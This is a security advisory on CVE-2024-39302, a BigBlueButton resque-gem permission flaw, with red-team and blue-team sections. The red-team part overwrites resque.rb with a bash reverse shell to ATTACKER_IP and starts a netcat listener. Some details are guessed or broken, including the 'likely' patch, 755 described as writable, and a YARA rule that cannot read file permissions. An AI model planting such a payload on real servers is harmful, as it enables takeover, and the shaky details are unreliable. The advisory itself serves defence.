CVE-2024-39302

Executive Summary

CVE-2024-39302 is a local privilege escalation vulnerability in BigBlueButton, an open-source virtual classroom platform. The vulnerability stems from overly elevated file permissions on the /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0 directory. An attacker with local access to the server can exploit these misconfigured permissions to read sensitive files, potentially leading to privilege escalation and exposure of confidential information. The vulnerability has a low CVSS score of 3.7 due to the requirement of local access and high attack complexity, but it poses a significant risk in multi-tenant or shared hosting environments. Patches are available in versions 2.6.18, 2.7.8, and 3.0.0-alpha.7.

Supply Chain & Package Security

The vulnerable component is the resque Ruby gem (version 2.6.0), which is bundled within the BigBlueButton application. This is a supply chain risk, as the vulnerability is introduced through a third-party dependency. The overly permissive file permissions on the gem's directory allow any local user to read or modify the gem's files, potentially leading to code injection or data theft. Organizations using BigBlueButton should verify the integrity of their Ruby gem installations and ensure that file permissions are correctly set according to the vendor's patch.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Local (L) – The attacker must have local access to the server.
• Attack Complexity (AC): High (H) – Exploitation requires specific conditions or knowledge of the environment.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges (e.g., a standard user account).
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited modification of files is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The requirement for local access and high attack complexity reduces the immediate threat. However, in environments where multiple users share the same server, the risk of privilege escalation and data exposure is elevated.

Deep Dive & Mechanics

The vulnerability is rooted in the file permissions of the directory /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0. This directory contains the resque Ruby gem, which is used by BigBlueButton for background job processing. The permissions are set to be overly permissive, allowing any local user to read and potentially write to the files within.

Mechanism:

1. Permission Misconfiguration: The directory and its contents have permissions that allow world-readable or world-writable access (e.g., 777 or 755 with world-readable). This is a violation of the principle of least privilege.
2. Local Access: An attacker with a low-privileged account on the server can navigate to this directory.
3. Information Disclosure: The attacker can read sensitive files, such as configuration files, database credentials, or API keys, that may be stored within the gem's directory.
4. Privilege Escalation: If the attacker can write to the directory, they could modify the gem's code to execute arbitrary commands when the gem is loaded by a privileged process (e.g., the BigBlueButton application running as root). This could lead to full system compromise.

Attack Scenario:

• An attacker gains a low-privileged shell on the BigBlueButton server via another vulnerability (e.g., a web application flaw).
• The attacker lists the contents of /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/ and finds that files are readable.
• The attacker reads configuration files to extract database credentials.
• Alternatively, the attacker modifies a Ruby file in the gem to include a reverse shell payload.
• When the BigBlueButton application loads the gem (e.g., during a background job), the payload executes, granting the attacker elevated privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration: The vulnerable state is defined by the file permissions on the resque gem directory. For example:

# Vulnerable: World-readable and world-writable permissions
ls -la /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
drwxrwxrwx 2 root root 4096 Jan 1 00:00 .
-rwxrwxrwx 1 root root 1234 Jan 1 00:00 resque.rb

Patched Configuration: The patched versions (2.6.18, 2.7.8, 3.0.0-alpha.7) correct these permissions to restrict access to the owner (typically root or the BigBlueButton service user). For example:

# Patched: Only owner can read/write, group and others have no access
ls -la /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
drwx------ 2 bigbluebutton bigbluebutton 4096 Jan 1 00:00 .
-rwx------ 1 bigbluebutton bigbluebutton 1234 Jan 1 00:00 resque.rb

Code Change: The patch likely involves a script or configuration change that sets the correct permissions during installation or update. For example, a post-install script might run:

chmod -R 700 /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
chown -R bigbluebutton:bigbluebutton /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a BigBlueButton server running a vulnerable version (< 2.6.18, < 2.7.8, < 3.0.0-alpha.7).
• A low-privileged user account (e.g., www-data or a standard user).

Exploitation Steps:

1. Verify Vulnerable Permissions:

   ls -la /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
   

2. Extract Sensitive Information:

   cat /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/lib/resque.rb
   # Look for hardcoded credentials or API keys
   

3. Modify Gem for Privilege Escalation: Create a malicious Ruby file that executes a reverse shell when loaded.

   echo 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"")' > /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/lib/resque.rb
   

4. Trigger Execution: Wait for the BigBlueButton application to load the gem (e.g., by triggering a background job or restarting the service).

   # On the attacker machine
   nc -lvnp 4444
   

Expected Outcome: A reverse shell as the BigBlueButton service user (often bigbluebutton or root).

Blue Team

Detection and Prevention:

1. Monitor File Permissions: Use file integrity monitoring (FIM) tools like auditd or AIDE to detect changes to the gem directory.

   auditctl -w /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/ -p wa -k resque_perms
   

2. Harden Permissions Immediately: If patching is not possible, manually set correct permissions:

   chmod -R 700 /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
   chown -R bigbluebutton:bigbluebutton /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
   

3. Restrict Local Access: Implement strict user access controls and limit the number of local users on the server.

4. Apply Patches: Upgrade to BigBlueButton 2.6.18, 2.7.8, or 3.0.0-alpha.7.

Indicators of Compromise (IOCs)

• File Permission Anomalies:
  • World-readable or world-writable permissions on /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/ (e.g., 777 or 755).
• Unauthorized File Modifications:
  • Changes to files within the resque-2.6.0 directory, especially resque.rb or other Ruby files.
• Suspicious Processes:
  • Unexpected processes running as the bigbluebutton user or root that originate from the gem directory.
• Network Connections:
  • Outbound connections from the BigBlueButton server to unknown IP addresses (e.g., reverse shell traffic).
• Log Entries:
  • Audit logs showing access to the gem directory by non-privileged users.
  • Application logs indicating errors or unexpected behavior in background jobs.

Detection Engineering

YARA Rule

rule CVE_2024_39302_Resque_Permissions {
    meta:
        description = "Detects overly permissive file permissions on the resque gem directory"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-39302"
    strings:
        $path = "/usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0"
    condition:
        $path and (uint16(0) & 0x1FF == 0x1FF or uint16(0) & 0x1FF == 0x1ED)
}

Sigma Rule

title: CVE-2024-39302 - BigBlueButton Resque Directory Permission Misconfiguration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to the overly permissive resque gem directory by non-privileged users
author: Valters IT
date: 2024/01/01
tags:
    - cve.2024.39302
    - attack.privilege_escalation
    - attack.t1068
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'PATH'
        key: '/usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0'
        uid: '!=0'  # Not root
    condition: selection
falsepositives:
    - Legitimate administrative access
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-39302 - Potential Reverse Shell from BigBlueButton"; flow:to_server,established; content:"|2f 62 69 6e 2f 62 61 73 68|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching:

   • Upgrade BigBlueButton to version 2.6.18, 2.7.8, or 3.0.0-alpha.7.
   • Follow the official upgrade guide at BigBlueButton Documentation.

2. Manual Permission Fix (If Patching is Delayed):

   chmod -R 700 /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
   chown -R bigbluebutton:bigbluebutton /usr/local/bigbluebutton/core/vendor/bundle/ruby/2.7.0/gems/resque-2.6.0/
   

3. File Integrity Monitoring:

   • Deploy FIM tools to monitor the gem directory for unauthorized changes.
   • Use auditd to log all access to the directory.

4. Access Control:

   • Restrict local user accounts to only those necessary.
   • Implement the principle of least privilege for all services.

5. Network Segmentation:

   • Isolate the BigBlueButton server from untrusted networks.
   • Use firewalls to limit outbound connections.

6. Regular Audits:

   • Periodically review file permissions on all critical directories.
   • Conduct vulnerability scans to identify misconfigurations.

Valters IT
Securing Digital Frontiers